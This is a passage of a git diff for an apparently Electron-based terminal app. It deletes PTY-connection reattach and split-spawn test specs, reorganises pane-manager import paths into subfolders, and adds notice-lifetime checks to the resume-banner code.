-      expect.objectContaining({ existingPtyId: eagerPtyId })
-    )
-    expect(pane.container.dataset.ptyId).toBe(eagerPtyId)
-    expect(transport.connect).not.toHaveBeenCalledWith(
-      expect.objectContaining({ sessionId: eagerPtyId })
-    )
-    const { hasPtySerializer } = await import('../../snapshots/pty-buffer-serializer')
-    expect(hasPtySerializer(eagerPtyId)).toBe(true)
-
-    const serializeRequestHandler = (
-      window.api.pty.onSerializeBufferRequest as unknown as {
-        mock: { calls: [[(request: { requestId: string; ptyId: string }) => void]] }
-      }
-    ).mock.calls[0]?.[0]
-    const { notifyUndeliverableWrite } =
-      await import('@/lib/pane-manager/terminal-write-pipeline-health')
-    notifyUndeliverableWrite(pane.terminal, 'replay-wedged')
-    serializeRequestHandler?.({ requestId: 'dead-renderer', ptyId: eagerPtyId })
-    await flushAsyncTicks()
-
-    expect(window.api.pty.sendSerializedBuffer).toHaveBeenCalledWith('dead-renderer', null)
-  })
-
-  it('does not adopt another tab live eager PTY from a stale restored leaf binding', async () => {
-    // Why: restored leaf bindings can outlive tab ownership; a global eager buffer proves the PTY is alive, ptyIdsByTabId proves this tab owns it.
-    const otherTabPtyId = 'other-tab-eager-pty'
-    vi.mocked(getEagerPtyBufferHandle).mockImplementation((ptyId: string) =>
-      ptyId === otherTabPtyId ? { flush: () => '', dispose: () => {} } : undefined
-    )
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks14 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport()
-    transport.connect.mockImplementation(async (opts: { sessionId?: string }) => {
-      if (opts.sessionId) {
-        return { id: opts.sessionId }
-      }
-      return 'fresh-pty'
-    })
-    transportFactoryQueue.push(transport)
-    mockStoreState = {
-      ...mockStoreState,
-      tabsByWorktree: {
-        'wt-1': [
-          { id: 'tab-1', ptyId: 'tab-pty' },
-          { id: 'tab-2', ptyId: otherTabPtyId }
-        ]
-      },
-      ptyIdsByTabId: {
-        'tab-1': ['tab-pty'],
-        'tab-2': [otherTabPtyId]
-      }
-    } as StoreState
-    const deps = createDeps({
-      restoredLeafId: LEAF_1,
-      restoredPtyIdByLeafId: { [LEAF_1]: otherTabPtyId }
-    })
-
-    connectPanePty(
-      createPane(1) as never,
-      createManager(1) as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks14)
-    )
-    await flushAsyncTicks()
-
-    expect(transport.attach).not.toHaveBeenCalledWith(
-      expect.objectContaining({ existingPtyId: otherTabPtyId })
-    )
-    expect(transport.connect).not.toHaveBeenCalledWith(
-      expect.objectContaining({ sessionId: otherTabPtyId })
-    )
-    expect(deps.updateTabPtyId).not.toHaveBeenCalledWith('tab-1', otherTabPtyId)
-  })
-
-  it('fresh-spawns a shell into any PTY-less tab, so agent launches must never publish one', async () => {
-    // Why: #2989 depends on PTY-less tabs taking this legitimate fresh-shell path.
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks15 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport()
-    transport.connect.mockImplementation(async (opts: { sessionId?: string }) => {
-      if (opts.sessionId) {
-        return { id: opts.sessionId }
-      }
-      const onPtySpawn = createdTransportOptions[0]?.onPtySpawn as
-        | ((ptyId: string) => void)
-        | undefined
-      onPtySpawn?.('stray-shell-pty')
-      return 'stray-shell-pty'
-    })
-    transportFactoryQueue.push(transport)
-    // Reproduce the pre-fix gap between createTab and PTY binding.
-    mockStoreState = {
-      ...mockStoreState,
-      tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: null }] },
-      ptyIdsByTabId: { 'tab-1': [] },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: { type: 'leaf', leafId: LEAF_1 },
-          activeLeafId: LEAF_1,
-          expandedLeafId: null
-        }
-      },
-      agentLaunchConfigByPaneKey: {
-        [`tab-1:${LEAF_1}`]: {
-          launchConfig: { agentCommand: 'claude', agentArgs: '', agentEnv: {} },
-          identity: { agentType: 'claude' }
-        }
-      }
-    } as StoreState
-    const deps = createDeps()
-
-    const pane = createPane(1)
-    connectPanePty(
-      pane as never,
-      createManager(1) as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks15)
-    )
-    await flushAsyncTicks()
-
-    // Launch registration alone cannot identify a PTY to attach.
-    expect(transport.connect).toHaveBeenCalledWith(
-      expect.objectContaining({ url: '', cols: expect.any(Number) })
-    )
-    expect(deps.updateTabPtyId).toHaveBeenCalledWith('tab-1', 'stray-shell-pty')
-  })
-
-  it('spawns a fresh PTY when a restored daemon split session cannot reattach', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks16 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport()
-    transport.connect.mockImplementation(async (opts: { sessionId?: string }) => {
-      if (opts.sessionId) {
-        return undefined
-      }
-      const onPtySpawn = createdTransportOptions[0]?.onPtySpawn as
-        | ((ptyId: string) => void)
-        | undefined
-      onPtySpawn?.('fresh-pty')
-      return 'fresh-pty'
-    })
-    transportFactoryQueue.push(transport)
-    mockStoreState = {
-      ...mockStoreState,
-      settings: {
-        ...mockStoreState.settings
-      }
-    } as StoreState
-    const pane = createPane(2)
-    const manager = createManager(2)
-    const deps = createDeps({
-      restoredLeafId: LEAF_2,
-      restoredPtyIdByLeafId: { [LEAF_2]: 'stale-pty' }
-    })
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      await mainStartsPaneAs({
-        ptyId: 'pty-main',
-        bind: bindsPaneInStore(() => mockStoreState, 'tab-1', LEAF_2),
-        transport
-      })
-    }
-
-    connectPanePty(
-      pane as never,
-      manager as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks16)
-    )
-    await Promise.resolve()
-    await Promise.resolve()
-
-    expect(transport.connect).toHaveBeenNthCalledWith(
-      1,
-      expect.objectContaining({ sessionId: 'stale-pty' })
-    )
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      // Main starts the pane whose terminal is gone; the window attaches, and spawns no shell.
-      await flushAsyncTicks()
-      await expectWindowStartAskedMain(transport, `tab-1:${LEAF_2}`)
-      expect(transport.connect).toHaveBeenCalledTimes(2)
-      expect(transport.connect).toHaveBeenNthCalledWith(
-        2,
-        expect.objectContaining({ sessionId: 'pty-main', attachOnlyView: true })
-      )
-      return
-    }
-    expect(transport.connect).toHaveBeenNthCalledWith(
-      2,
-      expect.not.objectContaining({ sessionId: expect.any(String) })
-    )
-    expect(deps.clearExitedPanePtyLayoutBinding).toHaveBeenCalledWith(2, 'stale-pty')
-    expect(deps.clearTabPtyId).toHaveBeenCalledWith('tab-1', 'stale-pty')
-    expect(deps.syncPanePtyLayoutBinding).toHaveBeenCalledWith(2, 'fresh-pty')
-    expect(deps.updateTabPtyId).toHaveBeenCalledWith('tab-1', 'fresh-pty')
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-stale-daemon-snapshot-replay.spec.ts b/src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-stale-daemon-snapshot-replay.spec.ts
deleted file mode 100644
index a44513627fc..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-stale-daemon-snapshot-replay.spec.ts
+++ /dev/null
@@ -1,88 +0,0 @@
-import { expect, it, vi } from 'vitest'
-import { flushAsyncTicks, createDeferred } from '../test-fixtures/pty-connection-test-async'
-import {
-  LEAF_1,
-  createMockTransport,
-  createPane,
-  captureCallbackTerminalWrites,
-  createManager,
-  type ConnectCallbacks,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  type PtyConnectionAgentTitleMocks as AgentTitleMocks,
-  bindPaneAgentTitleMocks,
-  type buildPaneConnectionDeps
-} from '../test-fixtures/pty-connection-test-deps'
-
-export function registerStaleDaemonSnapshotReplayTests(
-  getContext: () => {
-    transportFactoryQueue: MockTransport[]
-    createDeps: (overrides?: Record<string, unknown>) => ReturnType<typeof buildPaneConnectionDeps>
-  }
-): void {
-  it('drops stale callbacks but delivers fresh replacement output after an old replay clear', async () => {
-    const { transportFactoryQueue, createDeps } = getContext()
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks15 = await vi.importMock<AgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const { getTerminalScrollIntentKind, markTerminalPinnedViewport } =
-      await import('@/lib/pane-manager/terminal-scroll-intent')
-    const transport = createMockTransport('tab-pty')
-    const oldResult = createDeferred<undefined>()
-    const oldCallbacks: { current: ConnectCallbacks | null } = { current: null }
-    const replacementCallbacks: { current: ConnectCallbacks | null } = { current: null }
-    let connectCount = 0
-    transport.connect.mockImplementation(
-      async ({ callbacks }: { sessionId?: string; callbacks?: ConnectCallbacks }) => {
-        connectCount += 1
-        if (connectCount === 1) {
-          oldCallbacks.current = callbacks ?? null
-          return oldResult.promise
-        }
-        vi.mocked(transport.getPtyId).mockReturnValue('replacement-pty')
-        replacementCallbacks.current = callbacks ?? null
-        return 'replacement-pty'
-      }
-    )
-    transportFactoryQueue.push(transport)
-    const pane = createPane(1)
-    pane.terminal.buffer.active.viewportY = 80
-    pane.terminal.buffer.active.baseY = 100
-    markTerminalPinnedViewport(pane.terminal)
-    const { writes, parseCallbacks } = captureCallbackTerminalWrites(pane)
-    const deps = createDeps({
-      restoredLeafId: LEAF_1,
-      restoredPtyIdByLeafId: { [LEAF_1]: 'tab-pty' }
-    })
-
-    connectPanePty(
-      pane as never,
-      createManager(1) as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks15)
-    )
-    await flushAsyncTicks(8)
-    oldCallbacks.current?.onReplayData?.('old replay')
-    await flushAsyncTicks(8)
-    parseCallbacks.shift()?.()
-    await flushAsyncTicks(8)
-    oldCallbacks.current?.onError?.('SSH_SESSION_EXPIRED: tab-pty')
-    oldResult.resolve(undefined)
-    await flushAsyncTicks(20)
-    expect(replacementCallbacks.current).not.toBeNull()
-
-    replacementCallbacks.current?.onData?.('B-PROMPT')
-    oldCallbacks.current?.onData?.('STALE-A')
-    while (parseCallbacks.length > 0) {
-      parseCallbacks.shift()?.()
-      await flushAsyncTicks(4)
-    }
-    await flushAsyncTicks(20)
-
-    expect(writes).toContain('B-PROMPT')
-    expect(writes).not.toContain('STALE-A')
-    expect(pane.terminal.scrollToBottom).toHaveBeenCalled()
-    expect(getTerminalScrollIntentKind(pane.terminal)).toBe('followOutput')
-  })
-}
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/reattach/reattach-grid-fit.ts b/src/renderer/src/components/terminal-pane/pty-connection/reattach/reattach-grid-fit.ts
index 3f762406509..02d3c506bc6 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/reattach/reattach-grid-fit.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/reattach/reattach-grid-fit.ts
@@ -1,6 +1,6 @@
 import { isRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
-import { safeFitAndThen } from '@/lib/pane-manager/pane-fit'
-import { getFitOverrideForPty } from '@/lib/pane-manager/mobile-fit-overrides'
+import { safeFitAndThen } from '@/lib/pane-manager/terminal-fit/pane-fit'
+import { getFitOverrideForPty } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 
 import type { ReattachPayloadContext } from './reattach-payload-context'
 import type { ReattachPayloadSession } from './reattach-payload-session'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/reattach/reattach-result-handler.ts b/src/renderer/src/components/terminal-pane/pty-connection/reattach/reattach-result-handler.ts
index 085f7ff4866..d31382d2da5 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/reattach/reattach-result-handler.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/reattach/reattach-result-handler.ts
@@ -15,7 +15,7 @@ import { shouldIgnoreStalePanePtyLayoutBinding } from './pane-pty-layout-binding
 
 import { hasEmptyReattachRetireEvidence } from './empty-reattach-retire-evidence'
 import { mainStartsPane } from '../spawn/main-starts-pane'
-import { showMainPaneResumeOutcome } from '../spawn/main-pane-resume-banner'
+import * as mainPaneResume from '../spawn/main-pane-resume-banner'
 import type { ColdRestoreAgentResumeStartup } from '../startup/fresh-spawn-types'
 
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
@@ -323,7 +323,8 @@ export function bindHandleReattachResult(sessionBag: ConnectPanePtySession): voi
       session.warnParkRevealNoHostImage(ptyId, noHostImageReason)
     }
     session.scheduleReattachIdleAgentCursorReset()
-    showMainPaneResumeOutcome(sessionBag, ptyId)
+    mainPaneResume.acceptMainPaneResumeStart(sessionBag, ptyId)
+    mainPaneResume.showMainPaneResumeOutcome(sessionBag, ptyId)
 
     scheduleRuntimeGraphSync()
     return true
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/run-deferred-connect.ts b/src/renderer/src/components/terminal-pane/pty-connection/run-deferred-connect.ts
index c48496d89a1..ea92b9b5a13 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/run-deferred-connect.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/run-deferred-connect.ts
@@ -1,37 +1,33 @@
 import { isRemoteRuntimePtyId } from '../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import { createTerminalZeroDimensionsMessage } from '../../../../../shared/terminal/viewport/terminal-zero-dimensions-diagnostic'
 import { isWorktreeRemovalFenceError } from '../../../../../shared/worktree/removal-fence-error'
-import { safeFit } from '@/lib/pane-manager/pane-fit'
-// Preserve WebGL hook registration before deferred connection setup.
-import '@/lib/pane-manager/pane-webgl-renderer'
+import { safeFit } from '@/lib/pane-manager/terminal-fit/pane-fit'
+import '@/lib/pane-manager/terminal-rendering/pane-webgl-renderer'
 import {
   getWindowParkVisible,
   subscribeWindowParkVisibility
 } from '@/lib/window-activity/window-park-visibility'
 import { useAppStore } from '@/store/index'
 import { createCodexBackfillErrorDetector } from '../provider-notices/codex-backfill/codex-backfill-error-detector'
-import { hasWorktreeSleepIntent, onWorktreeSleepIntentCleared } from '@/lib/worktree-sleep-intent'
-
+import {
+  hasWorktreeSleepIntent,
+  onWorktreeSleepIntentCleared
+} from '@/lib/workspace/sleep/worktree-sleep-intent'
 import { recordPtyConnectDiagnostic } from './instrumentation/pty-connect-diagnostics'
 import { defersToMainPaneStart } from './spawn/main-pane-start-request'
 import { findTerminalTabForPane } from './terminal-tab-id'
 import { isDeferredSplitInputHold } from './pane-transport-options'
-
-import type { ConnectPanePtySession } from './connect-pane-pty-session'
 import { bindBuildColdRestoreAgentResumeStartup } from './startup/cold-restore-resume-startup'
-
 import { bindForegroundOutputRefresh } from './output/foreground-output-refresh'
 import { bindRegisterPaneSerializer } from './serialization/pane-serializer-register'
 import { bindHandleReattachResult } from './reattach/reattach-result-handler'
 import { runDeferredSessionAttach } from './deferred-session-attach'
-
 import { bindSerializeHiddenOutputSnapshot } from './output-restore/hidden-output-snapshot-serialize'
 import { bindHiddenStartupDelivery } from './spawn/hidden-startup-delivery'
 import { bindHiddenOutputFloodRepaint } from './output-restore/hidden-output-flood-repaint'
 import { bindPaneSerializerReadiness } from './serialization/pane-serializer-readiness'
 import { bindStartupDraftPaste } from './startup/startup-draft-paste'
 import { bindSessionRestoredBannerAdmission } from './notifications/session-restored-banner-admission'
-
 import { bindDeferredColdRestoreAndSnapshot } from './deferred-cold-restore-and-snapshot'
 import {
   bindLivePaneMode2031Observation,
@@ -48,13 +44,11 @@ import {
   bindHiddenRendererQueryAdmission,
   bindHiddenStartupRendererQueryWrite
 } from './output/hidden-startup-renderer-query-write'
-
 import { bindHiddenOutputRestoreChunk } from './output-restore/hidden-output-restore-chunk'
 import { bindSnapshotKittyKeyboardModes } from './emulation/snapshot-kitty-keyboard-modes'
 import { bindRendererOrderedSequence } from './output/renderer-ordered-sequence'
 import { bindHiddenOutputRestoreDrain } from './output-restore/hidden-output-restore-drain'
 import { bindAbandonHiddenOutputRestore } from './output-restore/hidden-output-restore-abandon'
-
 import { bindHiddenOutputRestoreSnapshot } from './output-restore/hidden-output-restore-snapshot'
 import { bindHiddenOutputRestoreRequest } from './output-restore/hidden-output-restore-request'
 import { bindLiveDataCallback } from './output/live-data-callback'
@@ -62,9 +56,11 @@ import {
   bindBeginReattachLiveDataDeferral,
   bindReattachLiveDataDeferral
 } from './output/reattach-live-data-deferral'
-
 import { bindParkRevealSnapshotVerdictActions } from './output-restore/park-reveal-snapshot-verdict'
 import { bindRemoteProgramRedraw } from './geometry/remote-program-redraw'
+import type { ConnectPanePtySession } from './connect-pane-pty-session'
+
+// Preserve WebGL hook registration before deferred connection setup.
 
 export function installRunDeferredConnect(session: ConnectPanePtySession): void {
   const cwdPromise = session.deps.cwdPromise
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/serialization/pane-serializer-readiness.ts b/src/renderer/src/components/terminal-pane/pty-connection/serialization/pane-serializer-readiness.ts
index ec193857d46..b2e5e7fb6f1 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/serialization/pane-serializer-readiness.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/serialization/pane-serializer-readiness.ts
@@ -1,6 +1,6 @@
 import { isRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import { hasPtySerializer } from '../../snapshots/pty-buffer-serializer'
-import { waitForTerminalOutputParsed } from '@/lib/pane-manager/pane-terminal-output-scheduler'
+import { waitForTerminalOutputParsed } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 
 export function bindPaneSerializerReadiness(session: ConnectPanePtySession): void {
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/serialization/pane-serializer-register.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/serialization/pane-serializer-register.test.ts
index c3f96e0cbc9..e158fd721c7 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/serialization/pane-serializer-register.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/serialization/pane-serializer-register.test.ts
@@ -1,7 +1,7 @@
 import { describe, expect, it, vi } from 'vitest'
 import { SerializeAddon } from '@xterm/addon-serialize'
 import { Terminal } from '@xterm/headless'
-import { installTerminalMouseEncodingTracker } from '@/lib/pane-manager/terminal-mouse-encoding-tracker'
+import { installTerminalMouseEncodingTracker } from '@/lib/pane-manager/terminal-protocol/terminal-mouse-encoding-tracker'
 import type { SerializeFn } from '../../snapshots/pty-buffer-serializer'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 import { bindRegisterPaneSerializer } from './pane-serializer-register'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/serialization/pane-serializer-register.ts b/src/renderer/src/components/terminal-pane/pty-connection/serialization/pane-serializer-register.ts
index 59bb46604c5..ed4b6f1d787 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/serialization/pane-serializer-register.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/serialization/pane-serializer-register.ts
@@ -1,14 +1,14 @@
 import { buildProcessBoundaryGround } from '../../../../../../shared/terminal/protocol/input-modes/terminal-mode-reset-profiles'
 import { serializeWithAbsoluteCursor } from '../../../../../../shared/terminal/replay/terminal-serialize-absolute-cursor'
-import { isTerminalWritePipelineCertifiedDead } from '@/lib/pane-manager/terminal-write-pipeline-health'
+import { isTerminalWritePipelineCertifiedDead } from '@/lib/pane-manager/terminal-output/terminal-write-pipeline-health'
 import {
   registerPtySerializer,
   registerPtyTitleSource
 } from '../../snapshots/pty-buffer-serializer'
-import { discardTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-queue-registry'
-import { waitForTerminalOutputParsed } from '@/lib/pane-manager/pane-terminal-output-scheduler'
-import { clearTerminalScrollbackAndFollowOutput } from '@/lib/pane-manager/terminal-scrollback-clear'
-import { terminalMouseEncodingRestoreAnsi } from '@/lib/pane-manager/terminal-mouse-encoding-tracker'
+import { discardTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-queue-registry'
+import { waitForTerminalOutputParsed } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
+import { clearTerminalScrollbackAndFollowOutput } from '@/lib/pane-manager/terminal-scroll/terminal-scrollback-clear'
+import { terminalMouseEncodingRestoreAnsi } from '@/lib/pane-manager/terminal-protocol/terminal-mouse-encoding-tracker'
 
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/spawn/fresh-spawn-start.ts b/src/renderer/src/components/terminal-pane/pty-connection/spawn/fresh-spawn-start.ts
index c27987c850a..096a7fd9b9b 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/spawn/fresh-spawn-start.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/spawn/fresh-spawn-start.ts
@@ -5,7 +5,7 @@ import { isRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/re
 import { useAppStore } from '@/store/index'
 import { hasWorktreeTeardownStarted } from '@/store/slices/worktrees/teardown/worktree-delete-state-types'
 import { hasPtySerializer } from '../../snapshots/pty-buffer-serializer'
-import { writeTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-scheduler'
+import { writeTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
 
 import { settleSpawnThatLeftPaneUnbound } from './unbound-pane-spawn-recovery'
 import { STARTUP_CWD_FALLBACK_NOTICE } from '../../../../../../shared/startup-cwd-fallback'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/spawn/hidden-agent-resume-deferral.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/spawn/hidden-agent-resume-deferral.test.ts
index 0b086e11036..88e5795d2b8 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/spawn/hidden-agent-resume-deferral.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/spawn/hidden-agent-resume-deferral.test.ts
@@ -1,20 +1,19 @@
 import { describe, expect, it, vi } from 'vitest'
+import {
+  deferHiddenAgentResume,
+  noteHiddenAgentResumePtyEnded
+} from './hidden-agent-resume-deferral'
 import type { ColdRestoreAgentResumeStartup } from '../startup/fresh-spawn-types'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 
 const wakeRequests = vi.hoisted(() => ({ take: vi.fn(() => false) }))
-vi.mock('@/lib/sleeping-agent-wake-requests', () => ({
+vi.mock('@/lib/agent-session/resume/sleeping-agent-wake-requests', () => ({
   takeSleepingAgentWakeRequest: wakeRequests.take
 }))
 vi.mock('../reattach/deferred-session-reattach-connect', () => ({
   startDeferredSessionReattach: vi.fn()
 }))
 
-import {
-  deferHiddenAgentResume,
-  noteHiddenAgentResumePtyEnded
-} from './hidden-agent-resume-deferral'
-
 function hiddenPaneSession(): ConnectPanePtySession {
   // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: deferHiddenAgentResume reads only these session members.
   return {
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/spawn/hidden-agent-resume-deferral.ts b/src/renderer/src/components/terminal-pane/pty-connection/spawn/hidden-agent-resume-deferral.ts
index 6ecac818bfb..2bd0148d513 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/spawn/hidden-agent-resume-deferral.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/spawn/hidden-agent-resume-deferral.ts
@@ -1,5 +1,5 @@
 import { isRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
-import { takeSleepingAgentWakeRequest } from '@/lib/sleeping-agent-wake-requests'
+import { takeSleepingAgentWakeRequest } from '@/lib/agent-session/resume/sleeping-agent-wake-requests'
 import {
   holdPaneResumeUntilShown,
   releasePaneResumeHold
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/spawn/main-pane-resume-banner.ts b/src/renderer/src/components/terminal-pane/pty-connection/spawn/main-pane-resume-banner.ts
index 9b604b697c6..b18e28f0699 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/spawn/main-pane-resume-banner.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/spawn/main-pane-resume-banner.ts
@@ -1,3 +1,9 @@
+import {
+  admitTerminalNoticeStart,
+  getTerminalNoticeLifetime,
+  isTerminalNoticeLifetimeCurrent
+} from '../../provider-notices/terminal-notice-lifetime'
+import type { TerminalNoticeStart } from '../../provider-notices/terminal-notice-lifetime'
 // Main owns agent resume; show its published restored/unavailable outcome once per terminal start.
 
 import { useAppStore } from '@/store/index'
@@ -11,8 +17,6 @@ type Outcomes = Record<string, TerminalPaneResumeOutcome>
 
 // Why session storage: a reload reattaches the same start, which showed its banner already.
 const SHOWN_STARTS_KEY = 'orca.mainPaneResumeBannersShown'
-/** This document's shown starts, for when session storage is unavailable. */
-const shownHere = new Set<string>()
 
 const startOf = ({ ptyId, ptyGeneration }: TerminalPaneResumeOutcome): string =>
   `${ptyId}#${ptyGeneration ?? ''}`
@@ -27,12 +31,13 @@ function readShownStarts(): string[] {
 }
 
 /** Notes `start` as shown, keeping only starts main still publishes; false if it was already. */
-function noteShown(start: string, outcomes: Outcomes): boolean {
+function noteShown(start: string, accepted: TerminalNoticeStart, outcomes: Outcomes): boolean {
   const shown = readShownStarts()
-  if (shownHere.has(start) || shown.includes(start)) {
+  if (accepted.shown || shown.includes(start)) {
+    accepted.shown = true
     return false
   }
-  shownHere.add(start)
+  accepted.shown = true
   const live = new Set(Object.values(outcomes).map(startOf))
   try {
     globalThis.sessionStorage.setItem(
@@ -69,6 +74,18 @@ export function attachResumeCheck(
   }
 }
 
+/** The current attach owner accepts start facts before any presentation reads them. */
+export function acceptMainPaneResumeStart(session: ConnectPanePtySession, ptyId: string): void {
+  if (!mainStartsPane(session)) {
+    return
+  }
+  const lifetime = getTerminalNoticeLifetime(ptyId)
+  const found = useAppStore.getState().terminalPaneResumeOutcomesByPaneKey[session.cacheKey]
+  if (lifetime && found?.ptyId === ptyId) {
+    admitTerminalNoticeStart(lifetime, session.cacheKey, found.ptyGeneration)
+  }
+}
+
 /** Show main’s start outcome once after attach; its binding frame precedes the reply on ordered IPC and applies before the reply settles. */
 export function showMainPaneResumeOutcome(session: ConnectPanePtySession, ptyId: string): void {
   if (!mainStartsPane(session)) {
@@ -76,7 +93,18 @@ export function showMainPaneResumeOutcome(session: ConnectPanePtySession, ptyId:
   }
   const outcomes = useAppStore.getState().terminalPaneResumeOutcomesByPaneKey
   const found = outcomes[session.cacheKey]
-  if (found?.ptyId === ptyId && noteShown(startOf(found), outcomes)) {
+  const lifetime = getTerminalNoticeLifetime(ptyId)
+  const accepted = lifetime?.start
+  if (
+    lifetime &&
+    isTerminalNoticeLifetimeCurrent(lifetime) &&
+    accepted &&
+    found?.ptyId === ptyId &&
+    (accepted.paneKey !== session.cacheKey ||
+      found.ptyGeneration === undefined ||
+      found.ptyGeneration === accepted.generation) &&
+    noteShown(startOf(found), accepted, outcomes)
+  ) {
     session.showSessionRestoredBanner(found.outcome)
   }
 }
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/spawn/pty-connection-split-spawn.spec.ts b/src/renderer/src/components/terminal-pane/pty-connection/spawn/pty-connection-split-spawn.spec.ts
deleted file mode 100644
index 8c283e54619..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/spawn/pty-connection-split-spawn.spec.ts
+++ /dev/null
@@ -1,432 +0,0 @@
-import { bindPtyConnectionTestMocks } from '../test-fixtures/pty-connection-mocks.spec'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { flushAsyncTicks, createDeferred } from '../test-fixtures/pty-connection-test-async'
-import { createKeyboardEventTarget, keyEvent } from '../test-fixtures/pty-connection-test-dom'
-import {
-  createMockTransport,
-  createPane,
-  captureCallbackTerminalWrites,
-  createManager
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import type { MockTransport } from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-import { mockPanePtyArgs } from '../test-fixtures/pty-connection-test-connect-mock-pane'
-
-export function registerPtyConnectionSplitSpawnTests(): void {
-  let mockStoreState: StoreState
-  let transportFactoryQueue: MockTransport[] = []
-  let createdTransportOptions: Record<string, unknown>[] = []
-  let storeSubscribers: ((state: StoreState) => void)[] = []
-
-  function createDeps(overrides: Record<string, unknown> = {}) {
-    return buildPaneConnectionDeps(() => mockStoreState, overrides)
-  }
-
-  describe('connectPanePty', () => {
-    beforeEach(async () => {
-      vi.clearAllMocks()
-      transportFactoryQueue = []
-      createdTransportOptions = []
-      storeSubscribers = []
-      mockStoreState = createInitialStoreState(() => mockStoreState)
-      bindPtyConnectionTestMocks({
-        getState: () => mockStoreState,
-        getTransportQueue: () => transportFactoryQueue,
-        getTransportOptions: () => createdTransportOptions,
-        getStoreSubscribers: () => storeSubscribers,
-        setStoreSubscribers: (subscribers) => {
-          storeSubscribers = subscribers
-        }
-      })
-      await installTerminalTestGlobals()
-    })
-
-    afterEach(async () => {
-      await restoreTerminalTestGlobals()
-    })
-
-    it('clears the mobile-fit pane binding when the pane connection is disposed', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks = await vi.importMock<PtyConnectionAgentTitleMocks>(
